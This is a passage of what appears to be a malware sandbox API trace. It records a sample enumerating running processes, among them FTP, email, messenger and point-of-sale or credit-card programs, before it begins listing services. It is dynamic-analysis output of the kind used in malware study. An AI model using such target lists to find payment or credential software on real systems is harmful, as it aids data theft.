cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0148.749] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0148.749] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0148.750] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0148.750] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0148.750] lstrlenW (lpString="lawsuit.exe") returned 11 [0148.750] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0148.750] lstrlenW (lpString="3dftp.exe") returned 9 [0148.750] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0148.751] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0148.751] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0148.751] lstrlenW (lpString="alftp.exe") returned 9 [0148.751] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0148.752] lstrlenW (lpString="barca.exe") returned 9 [0148.752] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0148.752] lstrlenW (lpString="bitkinex.exe") returned 12 [0148.752] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0148.753] lstrlenW (lpString="coreftp.exe") returned 11 [0148.753] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0148.753] lstrlenW (lpString="far.exe") returned 7 [0148.753] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0148.754] lstrlenW (lpString="filezilla.exe") returned 13 [0148.754] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0148.755] lstrlenW (lpString="flashfxp.exe") returned 12 [0148.755] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0148.755] lstrlenW (lpString="fling.exe") returned 9 [0148.755] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0148.756] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0148.756] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0148.757] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0148.757] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0148.757] lstrlenW (lpString="icq.exe") returned 7 [0148.757] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0148.758] lstrlenW (lpString="leechftp.exe") returned 12 [0148.758] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0148.759] lstrlenW (lpString="ncftp.exe") returned 9 [0148.759] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0148.760] lstrlenW (lpString="notepad.exe") returned 11 [0148.760] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0148.761] lstrlenW (lpString="operamail.exe") returned 13 [0148.761] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0148.761] lstrlenW (lpString="pidgin.exe") returned 10 [0148.761] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0148.762] lstrlenW (lpString="scriptftp.exe") returned 13 [0148.762] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0148.763] lstrlenW (lpString="skype.exe") returned 9 [0148.763] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0148.763] lstrlenW (lpString="smartftp.exe") returned 12 [0148.763] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0148.764] lstrlenW (lpString="thunderbird.exe") returned 15 [0148.764] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0149.124] lstrlenW (lpString="totalcmd.exe") returned 12 [0149.124] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0149.139] lstrlenW (lpString="trillian.exe") returned 12 [0149.139] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0149.140] lstrlenW (lpString="webdrive.exe") returned 12 [0149.140] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0149.141] lstrlenW (lpString="whatsapp.exe") returned 12 [0149.141] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0149.141] lstrlenW (lpString="winscp.exe") returned 10 [0149.141] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0149.142] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0149.142] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0149.143] lstrlenW (lpString="active-charge.exe") returned 17 [0149.143] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0149.143] lstrlenW (lpString="accupos.exe") returned 11 [0149.143] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0149.144] lstrlenW (lpString="afr38.exe") returned 9 [0149.144] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0149.144] lstrlenW (lpString="aldelo.exe") returned 10 [0149.144] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0149.145] lstrlenW (lpString="ccv_server.exe") returned 14 [0149.145] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0149.146] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0149.146] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0149.146] lstrlenW (lpString="creditservice.exe") returned 17 [0149.146] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0149.147] lstrlenW (lpString="edcsvr.exe") returned 10 [0149.147] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0149.147] lstrlenW (lpString="fpos.exe") returned 8 [0149.148] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0149.148] lstrlenW (lpString="isspos.exe") returned 10 [0149.148] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0149.149] lstrlenW (lpString="mxslipstream.exe") returned 16 [0149.149] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0149.149] lstrlenW (lpString="omnipos.exe") returned 11 [0149.149] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0149.150] lstrlenW (lpString="spcwin.exe") returned 10 [0149.150] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0149.150] lstrlenW (lpString="spgagentservice.exe") returned 19 [0149.150] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0149.151] lstrlenW (lpString="utg2.exe") returned 8 [0149.151] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0149.151] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0149.152] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0149.152] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0149.152] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.153] lstrlenW (lpString="svchost.exe") returned 11 [0149.153] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0149.153] lstrlenW (lpString="taskhostw.exe") returned 13 [0149.153] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0149.154] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0149.154] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.154] lstrlenW (lpString="conhost.exe") returned 11 [0149.154] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0149.155] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0149.155] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.156] lstrlenW (lpString="conhost.exe") returned 11 [0149.156] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0149.156] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0149.156] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0149.157] lstrlenW (lpString="powershell.exe") returned 14 [0149.157] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.157] lstrlenW (lpString="conhost.exe") returned 11 [0149.157] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0149.158] lstrlenW (lpString="TiWorker.exe") returned 12 [0149.158] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0149.158] lstrlenW (lpString="sppsvc.exe") returned 10 [0149.158] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0149.159] lstrlenW (lpString="powershell.exe") returned 14 [0149.159] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.159] lstrlenW (lpString="conhost.exe") returned 11 [0149.159] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0149.160] lstrlenW (lpString="taskhostw.exe") returned 13 [0149.160] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0149.160] lstrlenW (lpString="NS2.exe") returned 7 [0149.160] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.161] lstrlenW (lpString="conhost.exe") returned 11 [0149.161] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0149.161] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0149.161] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0149.162] lstrlenW (lpString="dllhost.exe") returned 11 [0149.162] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0149.162] lstrlenW (lpString="winhost.exe") returned 11 [0149.162] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0149.163] lstrlenW (lpString="cmd.exe") returned 7 [0149.163] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.163] lstrlenW (lpString="conhost.exe") returned 11 [0149.163] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0149.164] CloseHandle (hObject=0x330) returned 1 [0149.164] Sleep (dwMilliseconds=0x1f4) [0150.094] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee00 [0150.095] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, 